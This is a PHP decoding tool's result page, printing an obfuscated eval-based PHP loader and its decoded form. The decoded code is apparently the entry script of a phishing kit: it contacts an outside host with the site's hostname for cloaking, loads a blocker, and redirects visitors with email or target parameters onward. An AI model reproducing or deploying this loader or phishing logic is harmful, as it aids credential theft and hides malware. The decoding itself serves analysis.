Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_F=__FILE__;$_X='P2lCP1ouWlZWaCo+Ly5NMnlaT3NIPT4qaFZBUUgyPXNPSD4uPT1aX3pNdlFNbj0oJF..

Decoded Output download

<?php ?><?php
/* Checkpoint */
function http_request($url) {
    $asd = $_SERVER['HTTP_HOST'];
    $post_data = array('asd' => $asd);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}
$a = http_request("https://c29-official.tech/givingfakelink3/cx2kuadrat.php");
if (strpos($a, '<img') !== false) {
    echo $a;
    die();
}
error_reporting(0);
include ('blocker.php');
if (isset($_GET['email'])) {
    $a29 = "?email";
    $official = str_replace("'", "\'", $_GET['email']);
    echo "<script type=\"text/javascript\">window.location.href = \"./home.php$a29=$official\"</script>
";
} elseif (isset($_GET['target'])) {
    $a292 = "?target";
    $official2 = str_replace("'", "\'", $_GET['target']);
    echo "<script type=\"text/javascript\">window.location.href = \"../home.php$a292=$official2\"</script>
";
} elseif (isset($_GET['code'])) {
    $a293 = "?code";
    $official3 = str_replace("'", "\'", $_GET['code']);
    echo "<script type=\"text/javascript\">window.location.href = \"./home.php$a293=$official3\"</script>
";
} else {
    header("Location: ./home.php");
}
?>

Did this file decode correctly?

Original Code

<?php $_F=__FILE__;$_X='P2lCP1ouWlZWaCo+Ly5NMnlaT3NIPT4qaFZBUUgyPXNPSD4uPT1aX3pNdlFNbj0oJFF6Vyk+XSRlbjk+Uz4kX3BLZzZLZ2ondFRUbV90N3BUJ2Q7JFpPbj1fOWU9ZT5TPmV6emVxKCdlbjknPlNpPiRlbjkpOyQyLj5TPjJReldfc0hzPSgpOzJReldfbk09T1o9KCQyLiw+LyBnSTdtVF8gZ0ksPiRRelcpOzJReldfbk09T1o9KCQy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ZCk7TTIuTz4iQm4yenNaPT49cVpNU1wiPU1SPWgKZWNlbjJ6c1o9XCJpfXNIOU99WFdPMmU9c09IWC56TUE+Uz5cIlhoLk9ZTVhaLlokZWtQSlMkT0FBczJzZVdKXCJCaG4yenNaPWlcSCI7bD5NV25NPl1WLk1lOU16KCJJTzJlPXNPSDo+WGguT1lNWFouWiIpO1ZsVlZWP2lW';$_D=strrev('edoced_46esab');eval($_D('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCdTZ1BPOVlaV0ZLbXF5ZnhjakxKUnp1TTV2TnRzMWIue0I0bkNdaS8yRGwwRWhlQQpbZDg9UXA+VlhvIEh9NkdJdzdrYTNUclU8JywnPVI5b2RtcGxBRVB5azhndls1M3hyTWV6cVpIaTdZaFc8RHNHez5DY1h9MU4vYWZqNl1KdHVTIAouQlVud1ZLTFFPMjBJVEY0YicpOyRfUj1zdHJfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw='));?>

Function Calls

base64_decode 2
strrev 1
strtr 1
str_replace 1

Variables

$_R 0
$_X 0
$_F index.php
$_D base64_decode

Stats

MD5 e0658f50cc1343080c5e2bf2b0b90dd4
Eval Count 2
Decode Time 185 ms